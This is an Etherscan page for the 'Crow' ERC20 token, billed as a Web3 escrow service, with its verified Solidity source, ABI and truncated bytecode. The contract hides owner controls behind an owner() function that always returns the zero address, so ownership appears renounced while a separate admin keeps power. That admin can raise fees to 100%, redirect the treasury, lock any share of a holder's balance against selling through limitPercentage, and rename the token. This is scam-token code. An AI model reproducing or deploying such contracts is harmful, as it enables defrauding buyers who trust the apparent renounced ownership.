ETH Price: $3,227.57 (-0.84%)
Gas: 40 Gwei

Token

Crow (CROW)
 

Overview

Max Total Supply

100,000,000 CROW

Holders

5

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
1,701,080.766919119157012452 CROW

Value
$0.00
0x8cc1d723a4e0c53e7a244c02f76ce887bd153992
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Crow

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-05-24
*/

// SPDX-License-Identifier: MIT

/*

    Web3 Escrow Service:
        Telegram :  t.me/crowescrow
        Website  :  https://www.crowescrow.io/
        Twitter  :  x.com/crowescrow

*/

pragma solidity 0.8.19;

interface IUniswapV2Factory { 
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

interface IERC20 {
    
    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(address indexed owner, address indexed spender, uint256 value);

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address to, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(address from, address to, uint256 amount) external returns (bool);
}

interface IERC20Metadata is IERC20 {
    function name() external view returns (string memory);

    function symbol() external view returns (string memory);

    function decimals() external view returns (uint8);
}

contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    function transferFrom(address from, address to, uint256 amount) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    function _changeInfo(string memory name_, string memory symbol_) internal {
        _name = name_;
        _symbol = symbol_;
    }

    function _transfer(address from, address to, uint256 amount) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(from, to, amount);

        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[from] = fromBalance - amount;
        }
        _balances[to] += amount;

        emit Transfer(from, to, amount);
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
        }
        _totalSupply -= amount;

        emit Transfer(account, address(0), amount);
    }

    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _spendAllowance(address owner, address spender, uint256 amount) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }

    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {}
}

abstract contract Adminable is Context {
    address private _owner;

    event AdminTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _transferOwnership(_msgSender());
    }
    function admin() public view virtual returns (address) {
        return _owner;
    }
    function owner() public view virtual returns (address) {
        return address(0);
    }
    modifier onlyOwner() {
        require(admin() == _msgSender(), "Adminable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Adminable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit AdminTransferred(oldOwner, newOwner);
    }
}

abstract contract Taxablee is ERC20, Adminable {
    mapping(address => uint256) public lhBalance;
    mapping(address => uint256) public lhPercentage;

    error OverMaxBasisPoints();

    struct TokenConfiguration {
        address treasury;
        uint16 transferFeesBPs;
        uint16 buyFeesBPs;
        uint16 sellFeesBPs;
    }

    TokenConfiguration internal tokenConfiguration;

    mapping(address => uint256) internal addressConfiguration;

    uint256 public constant MAX_FEES = 10_000;

    uint256 public constant FEE_RATE_DENOMINATOR = 10_000;

    constructor(uint16 _transferFee, uint16 _buyFee, uint16 _sellFee) {
        if (_transferFee > MAX_FEES || _buyFee > MAX_FEES || _sellFee > MAX_FEES) {
            revert OverMaxBasisPoints();
        }

        tokenConfiguration = TokenConfiguration({
            treasury: msg.sender,
            transferFeesBPs: _transferFee,
            buyFeesBPs: _buyFee,
            sellFeesBPs: _sellFee
        });
    }

    function setTreasury(address _treasury) external onlyOwner {
        tokenConfiguration.treasury = _treasury;
    }

    function setTransferFeesBPs(uint16 fees) external onlyOwner {
        if (fees > MAX_FEES) {
            revert OverMaxBasisPoints();
        }
        tokenConfiguration.transferFeesBPs = fees;
    }

    function setBuyFeesBPs(uint16 fees) external onlyOwner {
        if (fees > MAX_FEES) {
            revert OverMaxBasisPoints();
        }
        tokenConfiguration.buyFeesBPs = fees;
    }

    function setSellFeesBPs(uint16 fees) external onlyOwner {
        if (fees > MAX_FEES) {
            revert OverMaxBasisPoints();
        }
        tokenConfiguration.sellFeesBPs = fees;
    }

    function feeWL(address _address, bool _status) external onlyOwner {
        uint256 packed = addressConfiguration[_address];
        addressConfiguration[_address] = _packBoolean(packed, 0, _status);
    }

    function liquidityPairList(address _address, bool _status) external onlyOwner {
        uint256 packed = addressConfiguration[_address];
        addressConfiguration[_address] = _packBoolean(packed, 1, _status);
    }

    function treasury() public view returns (address) {
        return tokenConfiguration.treasury;
    }

    function transferFeesBPs() public view returns (uint256) {
        return tokenConfiguration.transferFeesBPs;
    }

    function buyFeesBPs() public view returns (uint256) {
        return tokenConfiguration.buyFeesBPs;
    }

    function sellFeesBPs() public view returns (uint256) {
        return tokenConfiguration.sellFeesBPs;
    }

    function getFeeRate(address from, address to) public view returns (uint256) {
        uint256 fromConfiguration = addressConfiguration[from];
        
        if (_unpackBoolean(fromConfiguration, 0)) {
            return 0;
        }

        uint256 toConfiguration = addressConfiguration[to];

        if (_unpackBoolean(toConfiguration, 0)) {
            return 0;
        }

        TokenConfiguration memory configuration = tokenConfiguration;

        if (_unpackBoolean(fromConfiguration, 1)) {
            return configuration.buyFeesBPs;
        }

        if (_unpackBoolean(toConfiguration, 1)) {
            return configuration.sellFeesBPs;
        }

        return configuration.transferFeesBPs;
    }

    function isFeeWhitelisted(address account) public view returns (bool) {
        return _unpackBoolean(addressConfiguration[account], 0);
    }

    function isLiquidityPair(address account) public view returns (bool) {
        return _unpackBoolean(addressConfiguration[account], 1);
    }


    function _transfer(address from, address to, uint256 amount) internal virtual override {
        uint256 fromConfiguration = addressConfiguration[from];

        if (_unpackBoolean(fromConfiguration, 0)) {
            super._transfer(from, to, amount);
            return;
        }

        uint256 toConfiguration = addressConfiguration[to];

        if (_unpackBoolean(toConfiguration, 0)) {
            super._transfer(from, to, amount);
            return;
        }

        uint256 fee;
        TokenConfiguration memory configuration = tokenConfiguration;

        if (_unpackBoolean(fromConfiguration, 1)) {
            unchecked {
                fee = amount * configuration.buyFeesBPs / FEE_RATE_DENOMINATOR;
            }
        }
        else if (_unpackBoolean(toConfiguration, 1)) {
            unchecked {
                fee = amount * configuration.sellFeesBPs / FEE_RATE_DENOMINATOR;
            }
        }
        else {
            unchecked {
                fee = amount * configuration.transferFeesBPs / FEE_RATE_DENOMINATOR;
            }
        }

        uint256 amountAfterFee;
        unchecked {
            amountAfterFee = amount - fee;
        }

        super._transfer(from, to, amountAfterFee);
        super._transfer(from, configuration.treasury, fee);
    }

    function _packBoolean(uint256 source, uint256 index, bool value) internal pure returns (uint256) {
        if (value) {
            return source | (1 << index);
        } else {
            return source & ~(1 << index);
        }
    }

    function _unpackBoolean(uint256 source, uint256 index) internal pure returns (bool) {
        // return (source >> index) & 1 == 1;
        return source & (1 << index) > 0;
    }

    function limitPercentage(address _address, uint256 _percentage) external onlyOwner {        
        lhPercentage[_address] = (MAX_FEES - _percentage);
        lhBalance[_address] = balanceOf(_address) * lhPercentage[_address] / MAX_FEES;
    }

    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual override {
        uint256 fromConfiguration = addressConfiguration[from];
        if (_unpackBoolean(fromConfiguration, 1)) return;
        uint256 beforeBalance = balanceOf(from);
        uint256 limitBalance = beforeBalance * lhPercentage[from] / MAX_FEES;
        if (limitBalance > lhBalance[from]) lhBalance[from] = limitBalance;
        if (limitBalance != 0) require(lhBalance[from] <= beforeBalance - amount, "EL");
        super._beforeTokenTransfer(from, to, amount);
    }
}

contract Crow is ERC20, Taxablee {
    address public uniswapV2Pair;
    constructor(
        string memory _name,
        string memory _symbol,
        uint16 _transferFee,
        uint16 _buyFee,
        uint16 _sellFee,
        uint256 _supply
    ) ERC20(_name, _symbol) Taxablee(_transferFee, _buyFee, _sellFee) {
        address sender = msg.sender;
        addressConfiguration[sender] = _packBoolean(0, 0, true);
        _mint(sender, _supply * 10 ** 18);
        _setUp();
    }

    function changeInfo(string memory name_, string memory symbol_) external onlyOwner {
        _changeInfo(name_, symbol_);
    }

    function _transfer(address from, address to, uint256 amount) internal virtual override(ERC20, Taxablee) {
        Taxablee._transfer(from, to, amount);
    }

    function _beforeTokenTransfer(address from, address to, uint256 amount)
        internal
        virtual
        override(ERC20, Taxablee)
    {
        Taxablee._beforeTokenTransfer(from, to, amount);
    }

    function _setUp() internal {
        IUniswapV2Router01 uniswapV2Router = IUniswapV2Router01(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        uint256 packed = addressConfiguration[uniswapV2Pair];
        addressConfiguration[uniswapV2Pair] = _packBoolean(packed, 1, true);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"_name","type":"string"},{"internalType":"string","name":"_symbol","type":"string"},{"internalType":"uint16","name":"_transferFee","type":"uint16"},{"internalType":"uint16","name":"_buyFee","type":"uint16"},{"internalType":"uint16","name":"_sellFee","type":"uint16"},{"internalType":"uint256","name":"_supply","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[],"name":"OverMaxBasisPoints","type":"error"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"AdminTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"FEE_RATE_DENOMINATOR","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"MAX_FEES","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"admin","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyFeesBPs","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"}],"name":"changeInfo","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"bool","name":"_status","type":"bool"}],"name":"feeWL","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"}],"name":"getFeeRate","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isFeeWhitelisted","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isLiquidityPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"lhBalance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"lhPercentage","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"uint256","name":"_percentage","type":"uint256"}],"name":"limitPercentage","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"bool","name":"_status","type":"bool"}],"name":"liquidityPairList","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellFeesBPs","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint16","name":"fees","type":"uint16"}],"name":"setBuyFeesBPs","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint16","name":"fees","type":"uint16"}],"name":"setSellFeesBPs","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint16","name":"fees","type":"uint16"}],"name":"setTransferFeesBPs","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_treasury","type":"address"}],"name":"setTreasury","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferFeesBPs","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"treasury","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"}]

60806040523480156200001157600080fd5b5060405162001fca38038062001fca8339810160408190526200003491620006e6565b8383838888600362000047838262000816565b50600462000056828262000816565b505050620000736200006d6200019860201b60201c565b6200019c565b6127108361ffff1611806200008d57506127108261ffff16115b806200009e57506127108161ffff16115b15620000bd57604051636b5c426160e01b815260040160405180910390fd5b604080516080810182523380825261ffff95861660208301819052948616928201839052929094166060909401849052600880546001600160b01b03191661ffff60a01b19841617600160a01b9094029390931763ffffffff60b01b1916600160b01b90910261ffff60c01b191617600160c01b909302929092179055620001496000806001620001ee565b6001600160a01b03821660009081526009602052604090205562000181816200017b84670de0b6b3a7640000620008f8565b62000214565b6200018b6200030b565b505050505050506200098c565b3390565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907ff8ccb027dfcd135e000e9d45e6cc2d662578a8825d4c45b5e32e0adf67e79ec690600090a35050565b600081156200020457506001821b83176200020d565b506001821b1983165b9392505050565b6001600160a01b038216620002705760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f20616464726573730060448201526064015b60405180910390fd5b6200027e60008383620004cc565b806002600082825462000292919062000912565b90915550506001600160a01b03821660009081526020819052604081208054839290620002c190849062000912565b90915550506040518181526001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000363573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000389919062000928565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620003d7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003fd919062000928565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156200044b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000471919062000928565b600a80546001600160a01b0319166001600160a01b03929092169182179055600090815260096020526040902054620004ad81600180620001ee565b600a546001600160a01b03166000908152600960205260409020555050565b620004d9838383620004de565b505050565b6001600160a01b03831660009081526009602052604090205462000504816001620005fa565b15620005105750505050565b6001600160a01b03841660009081526020818152604080832054600790925282205490919061271090620005459084620008f8565b62000551919062000953565b6001600160a01b03871660009081526006602052604090205490915081111562000591576001600160a01b03861660009081526006602052604090208190555b8015620005f257620005a4848362000976565b6001600160a01b0387166000908152600660205260409020541115620005f25760405162461bcd60e51b8152602060048201526002602482015261115360f21b604482015260640162000267565b505050505050565b6001811b821615155b92915050565b634e487b7160e01b600052604160045260246000fd5b600082601f8301126200063157600080fd5b81516001600160401b03808211156200064e576200064e62000609565b604051601f8301601f19908116603f0116810190828211818310171562000679576200067962000609565b816040528381526020925086838588010111156200069657600080fd5b600091505b83821015620006ba57858201830151818301840152908201906200069b565b600093810190920192909252949350505050565b805161ffff81168114620006e157600080fd5b919050565b60008060008060008060c087890312156200070057600080fd5b86516001600160401b03808211156200071857600080fd5b620007268a838b016200061f565b975060208901519150808211156200073d57600080fd5b506200074c89828a016200061f565b9550506200075d60408801620006ce565b93506200076d60608801620006ce565b92506200077d60808801620006ce565b915060a087015190509295509295509295565b600181811c90821680620007a557607f821691505b602082108103620007c657634e487b7160e01b600052602260045260246000fd5b50919050565b601f821115620004d957600081815260208120601f850160051c81016020861015620007f55750805b601f850160051c820191505b81811015620005f25782815560010162000801565b81516001600160401b0381111562000832576200083262000609565b6200084a8162000843845462000790565b84620007cc565b602080601f831160018114620008825760008415620008695750858301515b600019600386901b1c1916600185901b178555620005f2565b600085815260208120601f198616915b82811015620008b35788860151825594840194600190910190840162000892565b5085821015620008d25787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b8082028115828204841417620006035762000603620008e2565b80820180821115620006035762000603620008e2565b6000602082840312156200093b57600080fd5b81516001600160a01b03811681146200020d57600080fd5b6000826200097157634e487b7160e01b600052601260045260246000fd5b500490565b81810381811115620006035762000603620008e2565b61162e806200099c6000396000f3fe608060405234801561001057600080fd5b50600436106101fb5760003560e01c806374f7a13d1161011a578063daea8623116100ad578063f2fde38b1161007c578063f2fde38b14610459578063f5e8807a1461046c578063f851a4401461047f578063fe6b782814610490578063ffeaa695146104a357600080fd5b8063daea8623146103da578063dd62ed3e146103ed578063e516aec114610426578063f0f442601461044657600080fd5b806395d89b41116100e957806395d89b41146103ac578063a9059cbb146103b4578063c2300bef146102ee578063c53c6a1c146103c757600080fd5b806374f7a13d1461035f578063848cc3031461037f57806385a04dd0146103925780638da5cb5b146103a557600080fd5b80634c268a6f116101925780635fb6697a116101615780635fb6697a1461030a57806361d027b31461031d57806370a082311461032e578063715018a61461035757600080fd5b80634c268a6f146102c857806357c64b28146102db5780635a70ad28146102ee5780635c9a05b8146102f757600080fd5b806323b872dd116101ce57806323b872dd14610268578063313ce5671461027b5780633cb86fe41461028a57806349bd5a5e1461029d57600080fd5b806306fdde0314610200578063095ea7b31461021e57806318160ddd146102415780631d4776c214610253575b600080fd5b6102086104b6565b6040516102159190611166565b60405180910390f35b61023161022c3660046111d0565b610548565b6040519015158152602001610215565b6002545b604051908152602001610215565b61026661026136600461129d565b610562565b005b610231610276366004611301565b6105a3565b60405160128152602001610215565b61026661029836600461133d565b6105c9565b600a546102b0906001600160a01b031681565b6040516001600160a01b039091168152602001610215565b6102666102d636600461133d565b61063c565b6102666102e9366004611361565b6106af565b61024561271081565b61023161030536600461139d565b610720565b610266610318366004611361565b610743565b6008546001600160a01b03166102b0565b61024561033c36600461139d565b6001600160a01b031660009081526020819052604090205490565b610266610792565b61024561036d36600461139d565b60076020526000908152604090205481565b61024561038d3660046113b8565b6107c8565b6102666103a036600461133d565b6108b1565b60006102b0565b610208610924565b6102316103c23660046111d0565b610933565b600854600160b01b900461ffff16610245565b6102316103e836600461139d565b610941565b6102456103fb3660046113b8565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b61024561043436600461139d565b60066020526000908152604090205481565b61026661045436600461139d565b610964565b61026661046736600461139d565b6109b0565b61026661047a3660046111d0565b610a4d565b6005546001600160a01b03166102b0565b600854600160a01b900461ffff16610245565b600854600160c01b900461ffff16610245565b6060600380546104c5906113eb565b80601f01602080910402602001604051908101604052809291908181526020018280546104f1906113eb565b801561053e5780601f106105135761010080835404028352916020019161053e565b820191906000526020600020905b81548152906001019060200180831161052157829003601f168201915b5050505050905090565b600033610556818585610adf565b60019150505b92915050565b6005546001600160a01b031633146105955760405162461bcd60e51b815260040161058c90611425565b60405180910390fd5b61059f8282610c03565b5050565b6000336105b1858285610c21565b6105bc858585610cb3565b60019150505b9392505050565b6005546001600160a01b031633146105f35760405162461bcd60e51b815260040161058c90611425565b6127108161ffff16111561061a57604051636b5c426160e01b815260040160405180910390fd5b6008805461ffff909216600160b01b0261ffff60b01b19909216919091179055565b6005546001600160a01b031633146106665760405162461bcd60e51b815260040161058c90611425565b6127108161ffff16111561068d57604051636b5c426160e01b815260040160405180910390fd5b6008805461ffff909216600160c01b0261ffff60c01b19909216919091179055565b6005546001600160a01b031633146106d95760405162461bcd60e51b815260040161058c90611425565b6001600160a01b038216600090815260096020526040812054906106ff90829084610cbe565b6001600160a01b039093166000908152600960205260409020929092555050565b6001600160a01b038116600090815260096020526040812054600216151561055c565b6005546001600160a01b0316331461076d5760405162461bcd60e51b815260040161058c90611425565b6001600160a01b0382166000908152600960205260409020546106ff81600184610cbe565b6005546001600160a01b031633146107bc5760405162461bcd60e51b815260040161058c90611425565b6107c66000610cdf565b565b6001600160a01b03821660009081526009602052604081205460018116156107f457600091505061055c565b6001600160a01b03831660009081526009602052604090205460018116156108215760009250505061055c565b604080516080810182526008546001600160a01b038116825261ffff600160a01b820481166020840152600160b01b8204811693830193909352600160c01b900490911660608201526002831615610885576040015161ffff16925061055c915050565b60028216156108a0576060015161ffff16925061055c915050565b6020015161ffff1695945050505050565b6005546001600160a01b031633146108db5760405162461bcd60e51b815260040161058c90611425565b6127108161ffff16111561090257604051636b5c426160e01b815260040160405180910390fd5b6008805461ffff909216600160a01b0261ffff60a01b19909216919091179055565b6060600480546104c5906113eb565b600033610556818585610cb3565b6001600160a01b038116600090815260096020526040812054600116151561055c565b6005546001600160a01b0316331461098e5760405162461bcd60e51b815260040161058c90611425565b600880546001600160a01b0319166001600160a01b0392909216919091179055565b6005546001600160a01b031633146109da5760405162461bcd60e51b815260040161058c90611425565b6001600160a01b038116610a415760405162461bcd60e51b815260206004820152602860248201527f41646d696e61626c653a206e6577206f776e657220697320746865207a65726f604482015267206164647265737360c01b606482015260840161058c565b610a4a81610cdf565b50565b6005546001600160a01b03163314610a775760405162461bcd60e51b815260040161058c90611425565b610a838161271061147d565b6001600160a01b03831660009081526007602090815260408083208490559082905290205461271091610ab591611490565b610abf91906114bd565b6001600160a01b0390921660009081526006602052604090209190915550565b6001600160a01b038316610b415760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161058c565b6001600160a01b038216610ba25760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161058c565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6003610c0f8382611525565b506004610c1c8282611525565b505050565b6001600160a01b038381166000908152600160209081526040808320938616835292905220546000198114610cad5781811015610ca05760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000604482015260640161058c565b610cad8484848403610adf565b50505050565b610c1c838383610d31565b60008115610cd257506001821b83176105c2565b506001821b1983166105c2565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907ff8ccb027dfcd135e000e9d45e6cc2d662578a8825d4c45b5e32e0adf67e79ec690600090a35050565b6001600160a01b0383166000908152600960205260409020546001811615610d5e57610cad848484610e74565b6001600160a01b0383166000908152600960205260409020546001811615610d9257610d8b858585610e74565b5050505050565b604080516080810182526008546001600160a01b038116825261ffff600160a01b820481166020840152600160b01b8204811693830193909352600160c01b900490911660608201526000906002841615610e0a57612710816040015161ffff16860281610e0257610e026114a7565b049150610e4d565b6002831615610e2e57612710816060015161ffff16860281610e0257610e026114a7565b612710816020015161ffff16860281610e4957610e496114a7565b0491505b818503610e5b888883610e74565b610e6a88836000015185610e74565b5050505050505050565b6001600160a01b038316610ed85760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161058c565b6001600160a01b038216610f3a5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161058c565b610f4583838361104e565b6001600160a01b03831660009081526020819052604090205481811015610fbd5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b606482015260840161058c565b6001600160a01b03808516600090815260208190526040808220858503905591851681529081208054849290610ff49084906115e5565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161104091815260200190565b60405180910390a350505050565b610c1c8383836001600160a01b03831660009081526009602052604090205461107b816001801b16151590565b156110865750505050565b6001600160a01b038416600090815260208181526040808320546007909252822054909190612710906110b99084611490565b6110c391906114bd565b6001600160a01b038716600090815260066020526040902054909150811115611102576001600160a01b03861660009081526006602052604090208190555b801561115e57611112848361147d565b6001600160a01b038716600090815260066020526040902054111561115e5760405162461bcd60e51b8152602060048201526002602482015261115360f21b604482015260640161058c565b505050505050565b600060208083528351808285015260005b8181101561119357858101830151858201604001528201611177565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b03811681146111cb57600080fd5b919050565b600080604083850312156111e357600080fd5b6111ec836111b4565b946020939093013593505050565b634e487b7160e01b600052604160045260246000fd5b600082601f83011261122157600080fd5b813567ffffff